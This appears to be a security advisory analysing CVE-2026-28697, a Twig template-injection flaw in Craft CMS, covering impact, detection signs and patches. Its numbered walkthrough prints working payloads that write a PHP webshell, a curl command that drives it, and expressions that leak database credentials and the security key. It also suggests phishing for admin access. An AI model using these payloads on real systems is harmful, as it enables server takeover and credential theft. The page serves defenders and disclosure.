CVE-2026-28697: 
PHP vulnerability analysis and mitigation

CVE-2026-28697 is a Server-Side Template Injection (SSTI) vulnerability in Craft CMS that allows an authenticated administrator to achieve Remote Code Execution (RCE) by injecting malicious Twig template payloads into editable template fields such as Email/System Message templates. The vulnerability affects Craft CMS versions >= 4.0.0-RC1 and < 4.17.0-beta.1, and >= 5.0.0-RC1 and < 5.9.0-beta.1. It was reported by researcher mHe4am, published to the GitHub Advisory Database on March 3, 2026, and assigned CVE-2026-28697 on March 4, 2026. It carries a CVSS v3.1 base score of 9.1 (Critical) and a CVSS v4.0 base score of 9.4 (Critical) (Github Advisory, Craft CMS Advisory).

The root cause is classified as CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine): Craft CMS rendered administrator-editable Twig template fields — such as System Messages — without applying a sandbox, allowing the full craft.app object to be accessed from within templates. An attacker with an authenticated administrator account (and allowAdminChanges enabled, or access to the System Messages utility) can inject Twig expressions such as {{ craft.app.fs.getFilesystemByHandle('hardDisk').write('shell.php', '<php payload>') }} into a template body or subject field. When the template is rendered (e.g., by clicking "Test" in Email settings), the payload is evaluated server-side, writing a PHP webshell to a web-accessible directory. Beyond RCE, the unrestricted craft.app exposure also allows disclosure of database credentials and the application security key via expressions like {{ craft.app.db.password }} and {{ craft.app.config.general.securityKey }} (Github Advisory, Craft CMS Advisory).

Successful exploitation grants the attacker full system compromise: arbitrary OS commands can be executed with the privileges of the web server process (e.g., www-data), enabling data exfiltration, file system modification, and service disruption. Additionally, sensitive configuration data — including database credentials and the Craft security key — can be extracted directly from template output, bypassing UI-level protections. The changed scope in the CVSS rating reflects that impact extends beyond the Craft CMS application itself to the underlying server and potentially connected database systems (Github Advisory, Craft CMS Advisory).

A proof-of-concept (PoC) exploit is publicly available via the GitHub Security Advisory, demonstrating the full webshell deployment chain (Github Advisory). As of the time of reporting, there is no confirmed evidence of in-the-wild exploitation, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.21% (43rd percentile), indicating a relatively low but non-negligible probability of exploitation in the near term. Exploitation requires authenticated administrator access, which limits the attack surface but does not eliminate risk in environments with multiple admins or compromised credentials.

1. Gain Administrator Access: Obtain valid Craft CMS administrator credentials through phishing, credential stuffing, or another means. Ensure the target installation has allowAdminChanges enabled or that the account has access to the System Messages utility.
2. Navigate to System Messages: Log in to the Craft CMS admin panel and go to Utilities → System Messages (/admin/utilities/system-messages).
3. Inject SSTI Payload: Edit any email template (e.g., "Test Email") and insert a malicious Twig expression into the body or subject field. To write a PHP webshell via a filesystem handle:

   {{ craft.app.fs.getFilesystemByHandle('hardDisk').write('shell.php', '<?php system($_GET["c"]); ?>') }}

   Or via a volume handle:

   {{ craft.app.volumes.getVolumeByHandle('images').fs.write('shell.php', '<?php system($_GET["c"]); ?>') }}

4. Trigger Template Rendering: Save the template, then navigate to Settings → Email (/admin/settings/email) and click "Test" to trigger server-side rendering of the injected payload.
5. Access the Webshell: Retrieve the deployed webshell from the web-accessible upload directory and execute arbitrary commands:

   curl "http://target.com/uploads/shell.php?c=id"
   # Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

6. Optional — Exfiltrate Credentials: Use additional Twig expressions to extract database credentials or the security key without triggering file writes:

   {{ craft.app.db.password }}
   {{ craft.app.config.general.securityKey }}

   (Github Advisory, Craft CMS Advisory)

• Network: Unexpected outbound connections from the web server process to external IPs following an admin "Test Email" action; HTTP GET requests to upload directories for .php files (e.g., /uploads/shell.php, /uploads/images/shell.php) with query parameters like ?c=.
• File System: Newly created .php files in web-accessible upload or volume directories (e.g., shell.php, cmd.php) not associated with normal CMS operations; unexpected modification timestamps on files in upload directories.
• Logs: Craft CMS admin access logs showing POST requests to /admin/utilities/system-messages or /admin/settings/email with unusual template content; web server access logs showing GET requests to .php files in upload directories with command-execution parameters.
• Process: Unusual child processes spawned by the PHP-FPM or Apache/Nginx worker process (e.g., /bin/sh, curl, wget, python) following a template rendering event.

Craft CMS has released patched versions 4.17.0-beta.1 and 5.9.0-beta.1 that introduce a configurable allowlist-based Twig sandbox (enableTwigSandbox config setting) and a new AllowedInSandbox PHP attribute to restrict which class methods and properties are accessible within sandboxed template contexts (Github Advisory, PR #18216, PR #18219). Administrators should upgrade to the patched versions immediately. As interim mitigations: restrict the allowAdminChanges setting to the minimum necessary personnel, audit which accounts have administrator access, implement WAF rules to detect Twig expression patterns ({{, craft.app) in HTTP request bodies targeting admin endpoints, and monitor upload directories for unexpected PHP file creation.

The vulnerability was reported by researcher mHe4am and published via the Craft CMS GitHub Security Advisory on March 2, 2026. The Craft CMS core team (brandonkelly) responded promptly, merging sandbox-related pull requests (#18216 and #18219) in January 2026 ahead of the public disclosure, indicating the fix was developed proactively. The advisory was picked up by several vulnerability tracking services including Vulners, VulDB, and CVEFeed shortly after publication (Github Advisory).